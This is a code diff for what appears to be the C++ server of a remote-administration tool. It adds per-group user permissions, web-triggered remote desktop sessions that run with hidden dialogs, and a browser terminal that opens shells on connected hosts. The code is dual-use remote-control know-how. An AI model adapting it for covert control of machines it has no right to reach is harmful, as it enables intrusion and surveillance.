||||||
|
if (u.username == username) {
|
||||||
|
for (const auto& g : u.allowed_groups) {
|
||||||
|
if (g == deviceGroup) {
|
||||||
|
hasAccess = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!hasAccess) {
|
||||||
|
SendText(ws_ptr, BuildJsonResponse("connect_result", false, "Permission denied"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// Check max clients per device
|
// Check max clients per device
|
||||||
int current_count = GetWebClientCount(device_id);
|
int current_count = GetWebClientCount(device_id);
|
||||||
if (current_count >= m_nMaxClientsPerDevice) {
|
if (current_count >= m_nMaxClientsPerDevice) {
|
||||||
@@ -954,12 +1031,23 @@ void CWebService::HandleCreateUser(void* ws_ptr, const std::string& msg) {
|
|||||||
std::string newPassword = root.get("password", "").asString();
|
std::string newPassword = root.get("password", "").asString();
|
||||||
std::string newRole = root.get("role", "viewer").asString();
|
std::string newRole = root.get("role", "viewer").asString();
|
||||||
|
|
||||||
|
// Parse allowed_groups array
|
||||||
|
std::vector<std::string> allowedGroups;
|
||||||
|
const Json::Value& groups = root["allowed_groups"];
|
||||||
|
if (groups.isArray()) {
|
||||||
|
for (const auto& g : groups) {
|
||||||
|
if (g.isString() && !g.asString().empty()) {
|
||||||
|
allowedGroups.push_back(g.asString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
if (newUsername.empty() || newPassword.empty()) {
|
if (newUsername.empty() || newPassword.empty()) {
|
||||||
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Username and password required"));
|
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Username and password required"));
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (CreateUser(newUsername, newPassword, newRole)) {
|
if (CreateUser(newUsername, newPassword, newRole, allowedGroups)) {
|
||||||
SendText(ws_ptr, BuildJsonResponse("create_user_result", true));
|
SendText(ws_ptr, BuildJsonResponse("create_user_result", true));
|
||||||
} else {
|
} else {
|
||||||
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Failed to create user (may already exist)"));
|
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Failed to create user (may already exist)"));
|
||||||
@@ -1009,19 +1097,28 @@ void CWebService::HandleListUsers(void* ws_ptr, const std::string& token) {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
auto users = ListUsers();
|
|
||||||
|
|
||||||
Json::Value res;
|
Json::Value res;
|
||||||
res["cmd"] = "list_users_result";
|
res["cmd"] = "list_users_result";
|
||||||
res["ok"] = true;
|
res["ok"] = true;
|
||||||
|
|
||||||
Json::Value usersArray(Json::arrayValue);
|
Json::Value usersArray(Json::arrayValue);
|
||||||
for (const auto& u : users) {
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(m_UsersMutex);
|
||||||
|
for (const auto& u : m_Users) {
|
||||||
Json::Value user;
|
Json::Value user;
|
||||||
user["username"] = u.first;
|
user["username"] = u.username;
|
||||||
user["role"] = u.second;
|
user["role"] = u.role;
|
||||||
|
|
||||||
|
// Include allowed_groups
|
||||||
|
Json::Value groups(Json::arrayValue);
|
||||||
|
for (const auto& g : u.allowed_groups) {
|
||||||
|
groups.append(g);
|
||||||
|
}
|
||||||
|
user["allowed_groups"] = groups;
|
||||||
|
|
||||||
usersArray.append(user);
|
usersArray.append(user);
|
||||||
}
|
}
|
||||||
|
}
|
||||||
res["users"] = usersArray;
|
res["users"] = usersArray;
|
||||||
|
|
||||||
Json::StreamWriterBuilder builder;
|
Json::StreamWriterBuilder builder;
|
||||||
@@ -1030,6 +1127,48 @@ void CWebService::HandleListUsers(void* ws_ptr, const std::string& token) {
|
|||||||
SendText(ws_ptr, json);
|
SendText(ws_ptr, json);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CWebService::HandleGetGroups(void* ws_ptr, const std::string& token) {
|
||||||
|
std::string username, role;
|
||||||
|
if (!ValidateToken(token, username, role)) {
|
||||||
|
SendText(ws_ptr, BuildJsonResponse("groups", false, "Invalid token"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Only admin can get groups list (for user management)
|
||||||
|
if (role != "admin") {
|
||||||
|
SendText(ws_ptr, BuildJsonResponse("groups", false, "Permission denied"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Collect all unique groups from online devices
|
||||||
|
std::set<std::string> groups;
|
||||||
|
groups.insert("default"); // Always include default group
|
||||||
|
|
||||||
|
if (m_pParentDlg) {
|
||||||
|
EnterCriticalSection(&m_pParentDlg->m_cs);
|
||||||
|
for (context* ctx : m_pParentDlg->m_HostList) {
|
||||||
|
if (!ctx || !ctx->IsLogin()) continue;
|
||||||
|
std::string g = ctx->GetGroupName();
|
||||||
|
groups.insert(g.empty() ? "default" : g);
|
||||||
|
}
|
||||||
|
LeaveCriticalSection(&m_pParentDlg->m_cs);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Build response
|
||||||
|
Json::Value res;
|
||||||
|
res["cmd"] = "groups";
|
||||||
|
res["ok"] = true;
|
||||||
|
res["groups"] = Json::Value(Json::arrayValue);
|
||||||
|
for (const auto& g : groups) {
|
||||||
|
res["groups"].append(g);
|
||||||
|
}
|
||||||
|
|
||||||
|
Json::StreamWriterBuilder builder;
|
||||||
|
builder["indentation"] = "";
|
||||||
|
std::string json = Json::writeString(builder, res);
|
||||||
|
SendText(ws_ptr, json);
|
||||||
|
}
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////////
|
||||||
// Token Management (delegated to WebServiceAuth module)
|
// Token Management (delegated to WebServiceAuth module)
|
||||||
//////////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////////
|
||||||
@@ -1072,6 +1211,16 @@ void CWebService::UnregisterClient(void* ws_ptr) {
|
|||||||
if (device_id > 0) {
|
if (device_id > 0) {
|
||||||
StopRemoteDesktop(device_id);
|
StopRemoteDesktop(device_id);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 关闭这个 web client 持有的所有终端会话(MVP 一个用户一台主机一个,但兜底全扫描)
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(m_TermMutex);
|
||||||
|
std::vector<uint64_t> to_close;
|
||||||
|
for (auto& kv : m_TermSessions) {
|
||||||
|
if (kv.second.ws_ptr == ws_ptr) to_close.push_back(kv.first);
|
||||||
|
}
|
||||||
|
for (uint64_t did : to_close) CloseTermSessionLocked(did);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
WebClient* CWebService::FindClient(void* ws_ptr) {
|
WebClient* CWebService::FindClient(void* ws_ptr) {
|
||||||
@@ -1170,6 +1319,14 @@ void CWebService::LoadUsers() {
|
|||||||
user.salt = u.get("salt", "").asString();
|
user.salt = u.get("salt", "").asString();
|
||||||
user.role = u.get("role", "viewer").asString();
|
user.role = u.get("role", "viewer").asString();
|
||||||
|
|
||||||
|
// Load allowed_groups
|
||||||
|
const Json::Value& groups = u["allowed_groups"];
|
||||||
|
if (groups.isArray()) {
|
||||||
|
for (const auto& g : groups) {
|
||||||
|
user.allowed_groups.push_back(g.asString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
if (!user.password_hash.empty()) {
|
if (!user.password_hash.empty()) {
|
||||||
m_Users.push_back(user);
|
m_Users.push_back(user);
|
||||||
loaded++;
|
loaded++;
|
||||||
@@ -1197,6 +1354,14 @@ void CWebService::SaveUsers() {
|
|||||||
user["password_hash"] = u.password_hash;
|
user["password_hash"] = u.password_hash;
|
||||||
user["salt"] = u.salt;
|
user["salt"] = u.salt;
|
||||||
user["role"] = u.role;
|
user["role"] = u.role;
|
||||||
|
|
||||||
|
// Save allowed_groups
|
||||||
|
Json::Value groups(Json::arrayValue);
|
||||||
|
for (const auto& g : u.allowed_groups) {
|
||||||
|
groups.append(g);
|
||||||
|
}
|
||||||
|
user["allowed_groups"] = groups;
|
||||||
|
|
||||||
users.append(user);
|
users.append(user);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1217,7 +1382,8 @@ void CWebService::SaveUsers() {
|
|||||||
Mprintf("[WebService] Saved %d users to users.json\n", (int)users.size());
|
Mprintf("[WebService] Saved %d users to users.json\n", (int)users.size());
|
||||||
}
|
}
|
||||||
|
|
||||||
bool CWebService::CreateUser(const std::string& username, const std::string& password, const std::string& role) {
|
bool CWebService::CreateUser(const std::string& username, const std::string& password, const std::string& role,
|
||||||
|
const std::vector<std::string>& allowed_groups) {
|
||||||
if (username.empty() || password.empty()) return false;
|
if (username.empty() || password.empty()) return false;
|
||||||
if (username == "admin") return false; // Cannot create user named "admin"
|
if (username == "admin") return false; // Cannot create user named "admin"
|
||||||
if (role != "admin" && role != "viewer") return false;
|
if (role != "admin" && role != "viewer") return false;
|
||||||
@@ -1236,9 +1402,11 @@ bool CWebService::CreateUser(const std::string& username, const std::string& pas
|
|||||||
user.salt = GenerateSalt();
|
user.salt = GenerateSalt();
|
||||||
user.password_hash = WSAuth::ComputeSHA256(password + user.salt);
|
user.password_hash = WSAuth::ComputeSHA256(password + user.salt);
|
||||||
user.role = role;
|
user.role = role;
|
||||||
|
user.allowed_groups = allowed_groups;
|
||||||
|
|
||||||
m_Users.push_back(user);
|
m_Users.push_back(user);
|
||||||
Mprintf("[WebService] Created user: %s (role: %s)\n", username.c_str(), role.c_str());
|
Mprintf("[WebService] Created user: %s (role: %s, groups: %d)\n",
|
||||||
|
username.c_str(), role.c_str(), (int)allowed_groups.size());
|
||||||
}
|
}
|
||||||
|
|
||||||
// Save to file (outside lock scope since SaveUsers acquires its own lock)
|
// Save to file (outside lock scope since SaveUsers acquires its own lock)
|
||||||
@@ -1295,17 +1463,47 @@ std::string CWebService::BuildJsonResponse(const std::string& cmd, bool ok, cons
|
|||||||
return Json::writeString(builder, res);
|
return Json::writeString(builder, res);
|
||||||
}
|
}
|
||||||
|
|
||||||
std::string CWebService::BuildDeviceListJson() {
|
std::string CWebService::BuildDeviceListJson(const std::string& username) {
|
||||||
Json::Value res;
|
Json::Value res;
|
||||||
res["cmd"] = "device_list";
|
res["cmd"] = "device_list";
|
||||||
res["devices"] = Json::Value(Json::arrayValue);
|
res["devices"] = Json::Value(Json::arrayValue);
|
||||||
|
|
||||||
|
// Get user's allowed groups for filtering (skip for admin or empty username)
|
||||||
|
std::vector<std::string> allowedGroups;
|
||||||
|
bool filterByGroup = false;
|
||||||
|
if (!username.empty() && username != "admin") {
|
||||||
|
std::lock_guard<std::mutex> lock(m_UsersMutex);
|
||||||
|
for (const auto& u : m_Users) {
|
||||||
|
if (u.username == username) {
|
||||||
|
allowedGroups = u.allowed_groups;
|
||||||
|
filterByGroup = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
if (m_pParentDlg) {
|
if (m_pParentDlg) {
|
||||||
// Access device list with lock
|
// Access device list with lock
|
||||||
EnterCriticalSection(&m_pParentDlg->m_cs);
|
EnterCriticalSection(&m_pParentDlg->m_cs);
|
||||||
for (context* ctx : m_pParentDlg->m_HostList) {
|
for (context* ctx : m_pParentDlg->m_HostList) {
|
||||||
if (!ctx || !ctx->IsLogin()) continue;
|
if (!ctx || !ctx->IsLogin()) continue;
|
||||||
|
|
||||||
|
// Get device group (empty = "default")
|
||||||
|
std::string deviceGroup = ctx->GetGroupName();
|
||||||
|
if (deviceGroup.empty()) deviceGroup = "default";
|
||||||
|
|
||||||
|
// Filter by allowed groups if user is not admin
|
||||||
|
if (filterByGroup) {
|
||||||
|
bool allowed = false;
|
||||||
|
for (const auto& g : allowedGroups) {
|
||||||
|
if (g == deviceGroup) {
|
||||||
|
allowed = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!allowed) continue; // Skip device not in allowed groups
|
||||||
|
}
|
||||||
|
|
||||||
Json::Value device;
|
Json::Value device;
|
||||||
// Use string for ID to avoid JavaScript number precision loss
|
// Use string for ID to avoid JavaScript number precision loss
|
||||||
device["id"] = std::to_string(ctx->GetClientID());
|
device["id"] = std::to_string(ctx->GetClientID());
|
||||||
@@ -1328,10 +1526,29 @@ std::string CWebService::BuildDeviceListJson() {
|
|||||||
CString version = ctx->GetClientData(ONLINELIST_VERSION);
|
CString version = ctx->GetClientData(ONLINELIST_VERSION);
|
||||||
device["version"] = AnsiToUtf8(version);
|
device["version"] = AnsiToUtf8(version);
|
||||||
|
|
||||||
|
// 活动窗口编码由客户端能力位决定:新客户端是 UTF-8,老客户端是 CP_ACP(默认 936)。
|
||||||
|
// 不能像其它字段那样无脑 AnsiToUtf8——会把新客户端的 UTF-8 字节再当 GBK 双重编码。
|
||||||
CString activeWindow = ctx->GetClientData(ONLINELIST_LOGINTIME);
|
CString activeWindow = ctx->GetClientData(ONLINELIST_LOGINTIME);
|
||||||
device["activeWindow"] = AnsiToUtf8(activeWindow);
|
std::string activeWindowU8;
|
||||||
|
if (!activeWindow.IsEmpty()) {
|
||||||
|
UINT cp = GetClientEncoding(ctx);
|
||||||
|
int wlen = MultiByteToWideChar(cp, 0, activeWindow, -1, NULL, 0);
|
||||||
|
if (wlen > 1) {
|
||||||
|
std::wstring w(wlen - 1, L'\0');
|
||||||
|
MultiByteToWideChar(cp, 0, activeWindow, -1, &w[0], wlen);
|
||||||
|
int u8len = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, NULL, 0, NULL, NULL);
|
||||||
|
if (u8len > 1) {
|
||||||
|
activeWindowU8.resize(u8len - 1);
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &activeWindowU8[0], u8len, NULL, NULL);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
device["activeWindow"] = activeWindowU8;
|
||||||
device["online"] = true;
|
device["online"] = true;
|
||||||
|
|
||||||
|
// Add device group to response
|
||||||
|
device["group"] = deviceGroup;
|
||||||
|
|
||||||
// Get screen info from client's reported resolution
|
// Get screen info from client's reported resolution
|
||||||
// Format: "n:MxN" where n=monitor count, M=width, N=height
|
// Format: "n:MxN" where n=monitor count, M=width, N=height
|
||||||
CString resolution = ctx->GetAdditionalData(RES_RESOLUTION);
|
CString resolution = ctx->GetAdditionalData(RES_RESOLUTION);
|
||||||
@@ -1509,9 +1726,13 @@ bool CWebService::StartRemoteDesktop(uint64_t device_id) {
|
|||||||
context* ctx = m_pParentDlg->FindHost(device_id);
|
context* ctx = m_pParentDlg->FindHost(device_id);
|
||||||
if (!ctx) return false;
|
if (!ctx) return false;
|
||||||
|
|
||||||
// Close any existing remote desktop for this device first
|
// Check if there's already a Web session for this device
|
||||||
// This prevents duplicate dialogs when user reconnects quickly
|
// Only reuse if Web has already triggered AND a Web dialog exists
|
||||||
m_pParentDlg->CloseRemoteDesktopByClientID(device_id);
|
// This ensures MFC and Web have independent dialogs
|
||||||
|
if (IsWebTriggered(device_id) && HasActiveSession(device_id)) {
|
||||||
|
Mprintf("[WebService] Reusing existing Web session for device %llu\n", device_id);
|
||||||
|
return true; // Web session exists, new web user joins watching
|
||||||
|
}
|
||||||
|
|
||||||
// Mark as web-triggered (dialog should be hidden)
|
// Mark as web-triggered (dialog should be hidden)
|
||||||
{
|
{
|
||||||
@@ -1520,7 +1741,8 @@ bool CWebService::StartRemoteDesktop(uint64_t device_id) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Send COMMAND_SCREEN_SPY with H264 algorithm
|
// Send COMMAND_SCREEN_SPY with H264 algorithm
|
||||||
// Format: [COMMAND_SCREEN_SPY:1][DXGI:1][Algorithm:1][MultiScreen:1]
|
// If client is already capturing (MFC opened first), it will re-send TOKEN_BITMAPINFO
|
||||||
|
// This creates a new hidden Web dialog while MFC dialog remains visible
|
||||||
BYTE bToken[32] = { 0 };
|
BYTE bToken[32] = { 0 };
|
||||||
bToken[0] = COMMAND_SCREEN_SPY;
|
bToken[0] = COMMAND_SCREEN_SPY;
|
||||||
bToken[1] = 0; // DXGI mode: 0=GDI
|
bToken[1] = 0; // DXGI mode: 0=GDI
|
||||||
@@ -1544,13 +1766,263 @@ void CWebService::StopRemoteDesktop(uint64_t device_id) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// If no more web clients watching, close the remote desktop
|
// If no more web clients watching, close only the Web session dialog
|
||||||
|
// MFC dialogs remain open
|
||||||
if (watchingCount == 0) {
|
if (watchingCount == 0) {
|
||||||
ClearWebTriggered(device_id);
|
ClearWebTriggered(device_id);
|
||||||
m_pParentDlg->CloseRemoteDesktopByClientID(device_id);
|
m_pParentDlg->CloseWebRemoteDesktopByClientID(device_id);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//////////////////////////////////////////////////////////////////////////
|
||||||
|
// Web Terminal Session
|
||||||
|
//
|
||||||
|
// 数据流向:
|
||||||
|
// 浏览器 ── term_open ──► HandleTermOpen ── COMMAND_SHELL ──► 客户端
|
||||||
|
// 客户端 ── shell 子上下文 ──► MessageHandle TOKEN_TERMINAL_START
|
||||||
|
// ── RegisterTerminalContext ──► WebService
|
||||||
|
// 客户端 shell 输出 ── TOKEN_TERMINAL_DATA ──► MessageHandle ──► OnTerminalData
|
||||||
|
// ──► term_output 给浏览器
|
||||||
|
// 浏览器 keystrokes ── term_input ──► HandleTermInput ──► shell_ctx->Send2Client
|
||||||
|
//
|
||||||
|
// 一台主机最多一个 web 终端会话(MVP)。
|
||||||
|
//////////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
static std::string BuildTermJson(const std::string& cmd, std::initializer_list<std::pair<const char*, std::string>> kv) {
|
||||||
|
Json::Value v;
|
||||||
|
v["cmd"] = cmd;
|
||||||
|
for (auto& p : kv) v[p.first] = p.second;
|
||||||
|
Json::StreamWriterBuilder b; b["indentation"] = "";
|
||||||
|
return Json::writeString(b, v);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CWebService::HandleTermOpen(void* ws_ptr, const std::string& msg) {
|
||||||
|
Json::Value root; Json::Reader rdr;
|
||||||
|
if (!rdr.parse(msg, root)) return;
|
||||||
|
|
||||||
|
std::string token = root.get("token", "").asString();
|
||||||
|
std::string username, role;
|
||||||
|
if (!ValidateToken(token, username, role)) {
|
||||||
|
SendText(ws_ptr, BuildJsonResponse("term_closed", false, "Invalid token"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
std::string id_str = root.get("id", "").asString();
|
||||||
|
uint64_t device_id = id_str.empty() ? 0 : strtoull(id_str.c_str(), nullptr, 10);
|
||||||
|
if (!device_id || !m_pParentDlg) {
|
||||||
|
SendText(ws_ptr, BuildJsonResponse("term_closed", false, "Bad request"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
context* ctx = m_pParentDlg->FindHost(device_id);
|
||||||
|
if (!ctx) {
|
||||||
|
SendText(ws_ptr, BuildJsonResponse("term_closed", false, "Device offline"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Group permission check (admin 全部可见)
|
||||||
|
if (username != "admin") {
|
||||||
|
std::string g = ctx->GetGroupName(); if (g.empty()) g = "default";
|
||||||
|
bool ok = false;
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(m_UsersMutex);
|
||||||
|
for (auto& u : m_Users) if (u.username == username) {
|
||||||
|
for (auto& ag : u.allowed_groups) if (ag == g) { ok = true; break; }
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!ok) {
|
||||||
|
SendText(ws_ptr, BuildJsonResponse("term_closed", false, "Permission denied"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 占用:MVP 阶段单设备单 web 终端
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(m_TermMutex);
|
||||||
|
if (m_TermSessions.find(device_id) != m_TermSessions.end() ||
|
||||||
|
m_TermPending.find(device_id) != m_TermPending.end()) {
|
||||||
|
SendText(ws_ptr, BuildJsonResponse("term_closed", false,
|
||||||
|
"Terminal already open by another viewer"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
WebTermSession s; s.ws_ptr = ws_ptr; s.device_id = device_id;
|
||||||
|
s.shell_ctx = nullptr; s.is_pty = false;
|
||||||
|
m_TermSessions[device_id] = s;
|
||||||
|
m_TermPending.insert(device_id);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 触发客户端:发 COMMAND_SHELL
|
||||||
|
BYTE cmd = COMMAND_SHELL;
|
||||||
|
if (!ctx->Send2Client(&cmd, 1)) {
|
||||||
|
std::lock_guard<std::mutex> lk(m_TermMutex);
|
||||||
|
m_TermSessions.erase(device_id);
|
||||||
|
m_TermPending.erase(device_id);
|
||||||
|
SendText(ws_ptr, BuildJsonResponse("term_closed", false, "Send failed"));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Mprintf("[WebService] term_open device=%llu user=%s\n", device_id, username.c_str());
|
||||||
|
}
|
||||||
|
|
||||||
|
void CWebService::HandleTermInput(void* ws_ptr, const std::string& msg) {
|
||||||
|
Json::Value root; Json::Reader rdr;
|
||||||
|
if (!rdr.parse(msg, root)) return;
|
||||||
|
std::string token = root.get("token", "").asString();
|
||||||
|
std::string username, role;
|
||||||
|
if (!ValidateToken(token, username, role)) return;
|
||||||
|
std::string id_str = root.get("id", "").asString();
|
||||||
|
uint64_t device_id = id_str.empty() ? 0 : strtoull(id_str.c_str(), nullptr, 10);
|
||||||
|
std::string data = root.get("data", "").asString();
|
||||||
|
if (!device_id || data.empty()) return;
|
||||||
|
|
||||||
|
CONTEXT_OBJECT* shellCtx = nullptr;
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(m_TermMutex);
|
||||||
|
auto it = m_TermSessions.find(device_id);
|
||||||
|
if (it == m_TermSessions.end() || it->second.ws_ptr != ws_ptr) return;
|
||||||
|
shellCtx = it->second.shell_ctx;
|
||||||
|
}
|
||||||
|
if (!shellCtx) return; // shell 子上下文还没就绪
|
||||||
|
shellCtx->Send2Client((BYTE*)data.data(), (ULONG)data.size());
|
||||||
|
}
|
||||||
|
|
||||||
|
void CWebService::HandleTermResize(void* ws_ptr, const std::string& msg) {
|
||||||
|
Json::Value root; Json::Reader rdr;
|
||||||
|
if (!rdr.parse(msg, root)) return;
|
||||||
|
std::string token = root.get("token", "").asString();
|
||||||
|
std::string username, role;
|
||||||
|
if (!ValidateToken(token, username, role)) return;
|
||||||
|
std::string id_str = root.get("id", "").asString();
|
||||||
|
uint64_t device_id = id_str.empty() ? 0 : strtoull(id_str.c_str(), nullptr, 10);
|
||||||
|
int cols = root.get("cols", 0).asInt();
|
||||||
|
int rows = root.get("rows", 0).asInt();
|
||||||
|
if (!device_id || cols <= 0 || rows <= 0) return;
|
||||||
|
|
||||||
|
CONTEXT_OBJECT* shellCtx = nullptr;
|
||||||
|
bool isPty = false;
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(m_TermMutex);
|
||||||
|
auto it = m_TermSessions.find(device_id);
|
||||||
|
if (it == m_TermSessions.end() || it->second.ws_ptr != ws_ptr) return;
|
||||||
|
shellCtx = it->second.shell_ctx;
|
||||||
|
isPty = it->second.is_pty;
|
||||||
|
}
|
||||||
|
if (!shellCtx || !isPty) return; // 老 cmd 模式不支持 resize
|
||||||
|
|
||||||
|
BYTE buf[5];
|
||||||
|
buf[0] = CMD_TERMINAL_RESIZE;
|
||||||
|
*(short*)(buf + 1) = (short)cols;
|
||||||
|
*(short*)(buf + 3) = (short)rows;
|
||||||
|
shellCtx->Send2Client(buf, 5);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CWebService::HandleTermClose(void* ws_ptr, const std::string& msg) {
|
||||||
|
Json::Value root; Json::Reader rdr;
|
||||||
|
if (!rdr.parse(msg, root)) return;
|
||||||
|
std::string id_str = root.get("id", "").asString();
|
||||||
|
uint64_t device_id = id_str.empty() ? 0 : strtoull(id_str.c_str(), nullptr, 10);
|
||||||
|
if (!device_id) return;
|
||||||
|
|
||||||
|
std::lock_guard<std::mutex> lk(m_TermMutex);
|
||||||
|
auto it = m_TermSessions.find(device_id);
|
||||||
|
if (it == m_TermSessions.end() || it->second.ws_ptr != ws_ptr) return;
|
||||||
|
CloseTermSessionLocked(device_id);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CWebService::CloseTermSessionLocked(uint64_t device_id) {
|
||||||
|
auto it = m_TermSessions.find(device_id);
|
||||||
|
if (it == m_TermSessions.end()) return;
|
||||||
|
|
||||||
|
CONTEXT_OBJECT* shellCtx = it->second.shell_ctx;
|
||||||
|
void* ws_ptr = it->second.ws_ptr;
|
||||||
|
m_TermSessions.erase(it);
|
||||||
|
m_TermPending.erase(device_id);
|
||||||
|
if (shellCtx) {
|
||||||
|
m_TermContextToDevice.erase(shellCtx);
|
||||||
|
// 触发客户端 shell 退出:直接断该子上下文
|
||||||
|
// (老 ShellDlg 是直接 Send TOKEN_BYE 之类,但断开更可靠)
|
||||||
|
shellCtx->CancelIO();
|
||||||
|
}
|
||||||
|
// 通知前端
|
||||||
|
SendText(ws_ptr, BuildJsonResponse("term_closed", true, "closed"));
|
||||||
|
Mprintf("[WebService] term_closed device=%llu\n", device_id);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CWebService::IsTermPending(uint64_t device_id) {
|
||||||
|
std::lock_guard<std::mutex> lk(m_TermMutex);
|
||||||
|
return m_TermPending.find(device_id) != m_TermPending.end();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CWebService::RegisterTerminalContext(uint64_t device_id, CONTEXT_OBJECT* ctx, bool isPty) {
|
||||||
|
void* ws_ptr_to_notify = nullptr;
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(m_TermMutex);
|
||||||
|
auto it = m_TermSessions.find(device_id);
|
||||||
|
if (it == m_TermSessions.end()) return; // 没有等的 web session 了
|
||||||
|
it->second.shell_ctx = ctx;
|
||||||
|
it->second.is_pty = isPty;
|
||||||
|
m_TermContextToDevice[ctx] = device_id;
|
||||||
|
m_TermPending.erase(device_id);
|
||||||
|
ws_ptr_to_notify = it->second.ws_ptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 关键步骤:告知客户端"启动 shell 输出回流"。
|
||||||
|
// PTY 模式:客户端 PTYHandler 已 fork 了 shell 子进程,但读线程要靠 COMMAND_NEXT 才启动
|
||||||
|
// (参考 TerminalDlg::OnTerminalReady)。漏发会导致 shell 在跑但输出永远不送回。
|
||||||
|
// PTY 还要先告知初始 cols/rows(默认 80x24),否则 shell 会按 PTY 默认尺寸渲染,
|
||||||
|
// vim 等 TUI 在浏览器侧的 fit 调整前会乱。后续浏览器 term_resize 会再调整。
|
||||||
|
if (isPty) {
|
||||||
|
BYTE resizeBuf[5];
|
||||||
|
resizeBuf[0] = CMD_TERMINAL_RESIZE;
|
||||||
|
*(short*)(resizeBuf + 1) = (short)80;
|
||||||
|
*(short*)(resizeBuf + 3) = (short)24;
|
||||||
|
ctx->Send2Client(resizeBuf, 5);
|
||||||
|
}
|
||||||
|
BYTE startCmd = COMMAND_NEXT;
|
||||||
|
ctx->Send2Client(&startCmd, 1);
|
||||||
|
|
||||||
|
// 通知前端 ready,告知模式(pty / legacy)
|
||||||
|
if (ws_ptr_to_notify) {
|
||||||
|
SendText(ws_ptr_to_notify, BuildTermJson("term_ready", {{"mode", isPty ? "pty" : "legacy"}}));
|
||||||
|
}
|
||||||
|
Mprintf("[WebService] term_ready device=%llu mode=%s\n",
|
||||||
|
device_id, isPty ? "pty" : "legacy");
|
||||||
|
}
|
||||||
|
|
||||||
|
bool CWebService::IsTerminalContext(CONTEXT_OBJECT* ctx) {
|
||||||
|
std::lock_guard<std::mutex> lk(m_TermMutex);
|
||||||
|
return m_TermContextToDevice.find(ctx) != m_TermContextToDevice.end();
|
||||||
|
}
|
||||||
|
|
||||||
|
void CWebService::OnTerminalData(CONTEXT_OBJECT* ctx, const BYTE* data, ULONG len) {
|
||||||
|
void* ws_ptr = nullptr;
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lk(m_TermMutex);
|
||||||
|
auto it = m_TermContextToDevice.find(ctx);
|
||||||
|
if (it == m_TermContextToDevice.end()) return;
|
||||||
|
auto sit = m_TermSessions.find(it->second);
|
||||||
|
if (sit == m_TermSessions.end()) return;
|
||||||
|
ws_ptr = sit->second.ws_ptr;
|
||||||
|
}
|
||||||
|
if (!ws_ptr || !data || !len) return;
|
||||||
|
|
||||||
|
// 用 binary frame 透传字节流(避免 JSON 二进制不可见字符 / 编码膨胀)。
|
||||||
|
// 帧格式:[4B magic 'TRM1'][N=payload]
|
||||||
|
// 4 字节 magic = 0x54 0x52 0x4D 0x31 —— 视频帧首 4 字节是 deviceID(uint32 LE),
|
||||||
|
// 撞这个具体值 (0x314D5254) 的概率极低,浏览器侧据此安全分流。
|
||||||
|
std::vector<uint8_t> packet;
|
||||||
|
packet.reserve(len + 4);
|
||||||
|
packet.push_back('T'); packet.push_back('R'); packet.push_back('M'); packet.push_back('1');
|
||||||
|
packet.insert(packet.end(), data, data + len);
|
||||||
|
SendBinary(ws_ptr, packet.data(), packet.size());
|
||||||
|
}
|
||||||
|
|
||||||
|
void CWebService::OnTerminalClosed(CONTEXT_OBJECT* ctx) {
|
||||||
|
std::lock_guard<std::mutex> lk(m_TermMutex);
|
||||||
|
auto it = m_TermContextToDevice.find(ctx);
|
||||||
|
if (it == m_TermContextToDevice.end()) return;
|
||||||
|
uint64_t device_id = it->second;
|
||||||
|
CloseTermSessionLocked(device_id);
|
||||||
